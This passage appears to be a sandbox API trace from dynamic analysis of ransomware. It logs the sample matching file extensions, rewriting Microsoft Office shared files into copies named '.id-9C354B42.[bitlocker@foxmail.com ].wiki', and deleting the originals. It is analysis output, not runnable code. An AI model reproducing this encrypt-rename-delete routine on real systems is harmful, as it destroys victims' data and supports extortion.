lstrcmpiW (lpString1=".zip", lpString2=".MOF") returned 1 [0194.017] lstrlenW (lpString=".rar") returned 4 [0194.017] lstrcmpiW (lpString1=".rar", lpString2=".MOF") returned 1 [0194.017] lstrlenW (lpString=".bz2") returned 4 [0194.017] lstrcmpiW (lpString1=".bz2", lpString2=".MOF") returned -1 [0194.017] lstrlenW (lpString=".7z") returned 3 [0194.017] lstrcmpiW (lpString1=".7z", lpString2="MOF") returned -1 [0194.017] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPWMI.MOF") returned 91 [0194.017] lstrlenW (lpString=".dbf") returned 4 [0194.018] lstrcmpiW (lpString1=".dbf", lpString2=".MOF") returned -1 [0194.018] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPWMI.MOF") returned 91 [0194.018] lstrlenW (lpString=".1cd") returned 4 [0194.018] lstrcmpiW (lpString1=".1cd", lpString2=".MOF") returned -1 [0194.018] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPWMI.MOF") returned 91 [0194.018] lstrlenW (lpString=".jpg") returned 4 [0194.018] lstrcmpiW (lpString1=".jpg", lpString2=".MOF") returned -1 [0194.018] lstrcmpiW (lpString1=".DLL", lpString2=".wiki") returned -1 [0194.018] lstrlenW (lpString="MSLID.DLL") returned 9 [0194.018] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSLID.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\proof\\mslid.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0194.018] GetFileSizeEx (in: hFile=0x220, lpFileSize=0x364ff1c | out: lpFileSize=0x364ff1c*=591168) returned 1 [0194.019] CloseHandle (hObject=0x220) returned 1 [0194.019] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSLID.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\proof\\mslid.dll")) returned 0x20 [0194.019] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSLID.DLL.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\proof\\mslid.dll.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0194.019] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSLID.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\proof\\mslid.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0194.019] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec8 | out: lpNewFilePointer=0x0) returned 1 [0194.019] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec8 | out: lpNewFilePointer=0x0) returned 1 [0194.019] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSLID.DLL.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\proof\\mslid.dll.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0194.047] GetLastError () returned 0x0 [0194.047] ReadFile (in: hFile=0x220, lpBuffer=0x4030020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fed4, lpOverlapped=0x0 | out: lpBuffer=0x4030020*, lpNumberOfBytesRead=0x364fed4*=0x90540, lpOverlapped=0x0) returned 1 [0194.399] WriteFile (in: hFile=0x1f4, lpBuffer=0x4030020*, nNumberOfBytesToWrite=0x90550, lpNumberOfBytesWritten=0x364fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4030020*, lpNumberOfBytesWritten=0x364fc9c*=0x90550, lpOverlapped=0x0) returned 1 [0194.411] ReadFile (in: hFile=0x220, lpBuffer=0x4030020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fed4, lpOverlapped=0x0 | out: lpBuffer=0x4030020*, lpNumberOfBytesRead=0x364fed4*=0x0, lpOverlapped=0x0) returned 1 [0194.411] WriteFile (in: hFile=0x1f4, lpBuffer=0x4030020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x364fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4030020*, lpNumberOfBytesWritten=0x364fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0194.411] SetEndOfFile (hFile=0x1f4) returned 1 [0194.411] CloseHandle (hObject=0x1f4) returned 1 [0194.411] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec8 | out: lpNewFilePointer=0x0) returned 1 [0194.411] SetEndOfFile (hFile=0x220) returned 1 [0194.416] CloseHandle (hObject=0x220) returned 1 [0194.416] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSLID.DLL.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0194.416] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSLID.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\proof\\mslid.dll")) returned 1 [0194.416] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSLID.DLL") returned 62 [0194.416] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSLID.DLL") returned 62 [0194.417] lstrlenW (lpString=".doc") returned 4 [0194.417] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0194.417] lstrlenW (lpString=".docx") returned 5 [0194.417] lstrcmpiW (lpString1=".docx", lpString2="D.DLL") returned -1 [0194.417] lstrlenW (lpString=".pdf") returned 4 [0194.417] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0194.417] lstrlenW (lpString=".xls") returned 4 [0194.417] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0194.417] lstrlenW (lpString=".xlsx") returned 5 [0194.417] lstrcmpiW (lpString1=".xlsx", lpString2="D.DLL") returned -1 [0194.417] lstrlenW (lpString=".ppt") returned 4 [0194.417] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0194.417] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSLID.DLL") returned 62 [0194.417] lstrlenW (lpString=".zip") returned 4 [0194.417] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0194.417] lstrlenW (lpString=".rar") returned 4 [0194.417] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0194.417] lstrlenW (lpString=".bz2") returned 4 [0194.417] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0194.417] lstrlenW (lpString=".7z") returned 3 [0194.417] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0194.417] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSLID.DLL") returned 62 [0194.417] lstrlenW (lpString=".dbf") returned 4 [0194.417] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0194.417] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSLID.DLL") returned 62 [0194.417] lstrlenW (lpString=".1cd") returned 4 [0194.417] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0194.417] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSLID.DLL") returned 62 [0194.417] lstrlenW (lpString=".jpg") returned 4 [0194.417] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0194.418] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSLID.DLL") returned 62 [0194.418] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSLID.DLL") returned 62 [0194.418] lstrlenW (lpString=".doc") returned 4 [0194.418] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0194.418] lstrlenW (lpString=".docx") returned 5 [0194.418] lstrcmpiW (lpString1=".docx", lpString2="D.DLL") returned -1 [0194.418] lstrlenW (lpString=".pdf") returned 4 [0194.418] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0194.418] lstrlenW (lpString=".xls") returned 4 [0194.418] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0194.418] lstrlenW (lpString=".xlsx") returned 5 [0194.418] lstrcmpiW (lpString1=".xlsx", lpString2="D.DLL") returned -1 [0194.418] lstrlenW (lpString=".ppt") returned 4 [0194.418] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0194.418] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSLID.DLL") returned 62 [0194.418] lstrlenW (lpString=".zip") returned 4 [0194.418] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0194.418] lstrlenW (lpString=".rar") returned 4 [0194.418] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0194.418] lstrlenW (lpString=".bz2") returned 4 [0194.418] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0194.418] lstrlenW (lpString=".7z") returned 3 [0194.418] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0194.418] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSLID.DLL") returned 62 [0194.418] lstrlenW (lpString=".dbf") returned 4 [0194.418] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0194.418] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSLID.DLL") returned 62 [0194.418] lstrlenW (lpString=".1cd") returned 4 [0194.418] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0194.418] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSLID.DLL") returned 62 [0194.418] lstrlenW (lpString=".jpg") returned 4 [0194.418] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0194.419] lstrcmpiW (lpString1=".IDX_DLL", lpString2=".wiki") returned -1 [0194.419] lstrlenW (lpString="STINTL.DLL.IDX_DLL") returned 18 [0194.419] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL.IDX_DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\1033\\stintl.dll.idx_dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1cc [0195.301] GetFileSizeEx (in: hFile=0x1cc, lpFileSize=0x364ff1c | out: lpFileSize=0x364ff1c*=13696) returned 1 [0195.309] CloseHandle (hObject=0x1cc) returned 1 [0195.309] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL.IDX_DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\1033\\stintl.dll.idx_dll")) returned 0x20 [0195.309] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL.IDX_DLL.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\1033\\stintl.dll.idx_dll.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0195.309] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL.IDX_DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\1033\\stintl.dll.idx_dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1cc [0195.309] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec8 | out: lpNewFilePointer=0x0) returned 1 [0195.309] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec8 | out: lpNewFilePointer=0x0) returned 1 [0195.309] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL.IDX_DLL.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\1033\\stintl.dll.idx_dll.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0195.324] GetLastError () returned 0x0 [0195.324] ReadFile (in: hFile=0x1cc, lpBuffer=0x4030020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fed4, lpOverlapped=0x0 | out: lpBuffer=0x4030020*, lpNumberOfBytesRead=0x364fed4*=0x3580, lpOverlapped=0x0) returned 1 [0195.337] WriteFile (in: hFile=0x1f4, lpBuffer=0x4030020*, nNumberOfBytesToWrite=0x3590, lpNumberOfBytesWritten=0x364fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4030020*, lpNumberOfBytesWritten=0x364fc9c*=0x3590, lpOverlapped=0x0) returned 1 [0195.338] ReadFile (in: hFile=0x1cc, lpBuffer=0x4030020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fed4, lpOverlapped=0x0 | out: lpBuffer=0x4030020*, lpNumberOfBytesRead=0x364fed4*=0x0, lpOverlapped=0x0) returned 1 [0195.338] WriteFile (in: hFile=0x1f4, lpBuffer=0x4030020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x364fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4030020*, lpNumberOfBytesWritten=0x364fc9c*=0xf8, lpOverlapped=0x0) returned 1 [0195.338] SetEndOfFile (hFile=0x1f4) returned 1 [0195.338] CloseHandle (hObject=0x1f4) returned 1 [0195.338] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec8 | out: lpNewFilePointer=0x0) returned 1 [0195.338] SetEndOfFile (hFile=0x1cc) returned 1 [0195.339] CloseHandle (hObject=0x1cc) returned 1 [0195.339] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL.IDX_DLL.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0195.339] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL.IDX_DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\1033\\stintl.dll.idx_dll")) returned 1 [0195.339] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL.IDX_DLL") returned 80 [0195.339] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL.IDX_DLL") returned 80 [0195.339] lstrlenW (lpString=".doc") returned 4 [0195.339] lstrcmpiW (lpString1=".doc", lpString2="_DLL") returned -1 [0195.339] lstrlenW (lpString=".docx") returned 5 [0195.339] lstrcmpiW (lpString1=".docx", lpString2="X_DLL") returned -1 [0195.339] lstrlenW (lpString=".pdf") returned 4 [0195.339] lstrcmpiW (lpString1=".pdf", lpString2="_DLL") returned -1 [0195.339] lstrlenW (lpString=".xls") returned 4 [0195.339] lstrcmpiW (lpString1=".xls", lpString2="_DLL") returned -1 [0195.339] lstrlenW (lpString=".xlsx") returned 5 [0195.339] lstrcmpiW (lpString1=".xlsx", lpString2="X_DLL") returned -1 [0195.339] lstrlenW (lpString=".ppt") returned 4 [0195.339] lstrcmpiW (lpString1=".ppt", lpString2="_DLL") returned -1 [0195.339] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL.IDX_DLL") returned 80 [0195.340] lstrlenW (lpString=".zip") returned 4 [0195.340] lstrcmpiW (lpString1=".zip", lpString2="_DLL") returned -1 [0195.340] lstrlenW (lpString=".rar") returned 4 [0195.340] lstrcmpiW (lpString1=".rar", lpString2="_DLL") returned -1 [0195.340] lstrlenW (lpString=".bz2") returned 4 [0195.340] lstrcmpiW (lpString1=".bz2", lpString2="_DLL") returned -1 [0195.340] lstrlenW (lpString=".7z") returned 3 [0195.340] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0195.340] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL.IDX_DLL") returned 80 [0195.340] lstrlenW (lpString=".dbf") returned 4 [0195.340] lstrcmpiW (lpString1=".dbf", lpString2="_DLL") returned -1 [0195.340] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL.IDX_DLL") returned 80 [0195.340] lstrlenW (lpString=".1cd") returned 4 [0195.340] lstrcmpiW (lpString1=".1cd", lpString2="_DLL") returned -1 [0195.340] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL.IDX_DLL") returned 80 [0195.340] lstrlenW (lpString=".jpg") returned 4 [0195.340] lstrcmpiW (lpString1=".jpg", lpString2="_DLL") returned -1 [0195.340] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL.IDX_DLL") returned 80 [0195.340] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL.IDX_DLL") returned 80 [0195.340] lstrlenW (lpString=".doc") returned 4 [0195.340] lstrcmpiW (lpString1=".doc", lpString2="_DLL") returned -1 [0195.340] lstrlenW (lpString=".docx") returned 5 [0195.340] lstrcmpiW (lpString1=".docx", lpString2="X_DLL") returned -1 [0195.340] lstrlenW (lpString=".pdf") returned 4 [0195.340] lstrcmpiW (lpString1=".pdf", lpString2="_DLL") returned -1 [0195.340] lstrlenW (lpString=".xls") returned 4 [0195.340] lstrcmpiW (lpString1=".xls", lpString2="_DLL") returned -1 [0195.340] lstrlenW (lpString=".xlsx") returned 5 [0195.340] lstrcmpiW (lpString1=".xlsx", lpString2="X_DLL") returned -1 [0195.340] lstrlenW (lpString=".ppt") returned 4 [0195.340] lstrcmpiW (lpString1=".ppt", lpString2="_DLL") returned -1 [0195.341] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL.IDX_DLL") returned 80 [0195.341] lstrlenW (lpString=".zip") returned 4 [0195.341] lstrcmpiW (lpString1=".zip", lpString2="_DLL") returned -1 [0195.341] lstrlenW (lpString=".rar") returned 4 [0195.341] lstrcmpiW (lpString1=".rar", lpString2="_DLL") returned -1 [0195.341] lstrlenW (lpString=".bz2") returned 4 [0195.341] lstrcmpiW (lpString1=".bz2", lpString2="_DLL") returned -1 [0195.341] lstrlenW (lpString=".7z") returned 3 [0195.341] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0195.341] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL.IDX_DLL") returned 80 [0195.341] lstrlenW (lpString=".dbf") returned 4 [0195.341] lstrcmpiW (lpString1=".dbf", lpString2="_DLL") returned -1 [0195.341] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL.IDX_DLL") returned 80 [0195.341] lstrlenW (lpString=".1cd") returned 4 [0195.341] lstrcmpiW (lpString1=".1cd", lpString2="_DLL") returned -1 [0195.341] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\1033\\STINTL.DLL.IDX_DLL") returned 80 [0195.341] lstrlenW (lpString=".jpg") returned 4 [0195.341] lstrcmpiW (lpString1=".jpg", lpString2="_DLL") returned -1 [0195.341] lstrcmpiW (lpString1=".ELM", lpString2=".wiki") returned -1 [0195.341] lstrlenW (lpString="AFTRNOON.ELM") returned 12 [0195.341] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\AFTRNOON.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\aftrnoon\\aftrnoon.elm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x17c [0196.146] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x364ff1c | out: lpFileSize=0x364ff1c*=58766) returned 1 [0196.146] CloseHandle (hObject=0x17c) returned 1 [0196.146] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\AFTRNOON.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\aftrnoon\\aftrnoon.elm")) returned 0x20 [0196.146] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\AFTRNOON.ELM.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\aftrnoon\\aftrnoon.elm.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0196.146] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\AFTRNOON.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\aftrnoon\\aftrnoon.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x17c [0196.146] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec8 | out: lpNewFilePointer=0x0) returned 1 [0196.146] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec8 | out: lpNewFilePointer=0x0) returned 1 [0196.147] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\AFTRNOON.ELM.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\aftrnoon\\aftrnoon.elm.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0196.586] GetLastError () returned 0x0 [0196.586] ReadFile (in: hFile=0x17c, lpBuffer=0x4030020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fed4, lpOverlapped=0x0 | out: lpBuffer=0x4030020*, lpNumberOfBytesRead=0x364fed4*=0xe58e, lpOverlapped=0x0) returned 1 [0196.588] WriteFile (in: hFile=0x218, lpBuffer=0x4030020*, nNumberOfBytesToWrite=0xe590, lpNumberOfBytesWritten=0x364fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4030020*, lpNumberOfBytesWritten=0x364fc9c*=0xe590, lpOverlapped=0x0) returned 1 [0196.590] ReadFile (in: hFile=0x17c, lpBuffer=0x4030020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fed4, lpOverlapped=0x0 | out: lpBuffer=0x4030020*, lpNumberOfBytesRead=0x364fed4*=0x0, lpOverlapped=0x0) returned 1 [0196.590] WriteFile (in: hFile=0x218, lpBuffer=0x4030020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x364fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4030020*, lpNumberOfBytesWritten=0x364fc9c*=0xec, lpOverlapped=0x0) returned 1 [0196.590] SetEndOfFile (hFile=0x218) returned 1 [0196.590] CloseHandle (hObject=0x218) returned 1 [0196.590] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec8 | out: lpNewFilePointer=0x0) returned 1 [0196.590] SetEndOfFile (hFile=0x17c) returned 1 [0196.591] CloseHandle (hObject=0x17c) returned 1 [0196.591] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\AFTRNOON.ELM.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0196.592] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\AFTRNOON.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\aftrnoon\\aftrnoon.elm")) returned 1 [0196.592] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\AFTRNOON.ELM") returned 77 [0196.592] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\AFTRNOON.ELM") returned 77 [0196.592] lstrlenW (lpString=".doc") returned 4 [0196.592] lstrcmpiW (lpString1=".doc", lpString2=".ELM") returned -1 [0196.592] lstrlenW (lpString=".docx") returned 5 [0196.592] lstrcmpiW (lpString1=".docx", lpString2="N.ELM") returned -1 [0196.592] lstrlenW (lpString=".pdf") returned 4 [0196.592] lstrcmpiW (lpString1=".pdf", lpString2=".ELM") returned 1 [0196.592] lstrlenW (lpString=".xls") returned 4 [0196.592] lstrcmpiW (lpString1=".xls", lpString2=".ELM") returned 1 [0196.592] lstrlenW (lpString=".xlsx") returned 5 [0196.592] lstrcmpiW (lpString1=".xlsx", lpString2="N.ELM") returned -1 [0196.592] lstrlenW (lpString=".ppt") returned 4 [0196.592] lstrcmpiW (lpString1=".ppt", lpString2=".ELM") returned 1 [0196.592] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\AFTRNOON.ELM") returned 77 [0196.592] lstrlenW (lpString=".zip") returned 4 [0196.592] lstrcmpiW (lpString1=".zip", lpString2=".ELM") returned 1 [0196.592] lstrlenW (lpString=".rar") returned 4 [0196.592] lstrcmpiW (lpString1=".rar", lpString2=".ELM") returned 1 [0196.592] lstrlenW (lpString=".bz2") returned 4 [0196.592] lstrcmpiW (lpString1=".bz2", lpString2=".ELM") returned -1 [0196.592] lstrlenW (lpString=".7z") returned 3 [0196.592] lstrcmpiW (lpString1=".7z", lpString2="ELM") returned -1 [0196.592] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\AFTRNOON.ELM") returned 77 [0196.592] lstrlenW (lpString=".dbf") returned 4 [0196.593] lstrcmpiW (lpString1=".dbf", lpString2=".ELM") returned -1 [0196.593] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\AFTRNOON.ELM") returned 77 [0196.593] lstrlenW (lpString=".1cd") returned 4 [0196.593] lstrcmpiW (lpString1=".1cd", lpString2=".ELM") returned -1 [0196.593] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\AFTRNOON.ELM") returned 77 [0196.593] lstrlenW (lpString=".jpg") returned 4 [0196.593] lstrcmpiW (lpString1=".jpg", lpString2=".ELM") returned 1 [0196.593] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\AFTRNOON.ELM") returned 77 [0196.593] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\AFTRNOON.ELM") returned 77 [0196.593] lstrlenW (lpString=".doc") returned 4 [0196.593] lstrcmpiW (lpString1=".doc", lpString2=".ELM") returned -1 [0196.593] lstrlenW (lpString=".docx") returned 5 [0196.593] lstrcmpiW (lpString1=".docx", lpString2="N.ELM") returned -1 [0196.593] lstrlenW (lpString=".pdf") returned 4 [0196.593] lstrcmpiW (lpString1=".pdf", lpString2=".ELM") returned 1 [0196.593] lstrlenW (lpString=".xls") returned 4 [0196.593] lstrcmpiW (lpString1=".xls", lpString2=".ELM") returned 1 [0196.593] lstrlenW (lpString=".xlsx") returned 5 [0196.593] lstrcmpiW (lpString1=".xlsx", lpString2="N.ELM") returned -1 [0196.593] lstrlenW (lpString=".ppt") returned 4 [0196.593] lstrcmpiW (lpString1=".ppt", lpString2=".ELM") returned 1 [0196.593] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\AFTRNOON.ELM") returned 77 [0196.593] lstrlenW (lpString=".zip") returned 4 [0196.593] lstrcmpiW (lpString1=".zip", lpString2=".ELM") returned 1 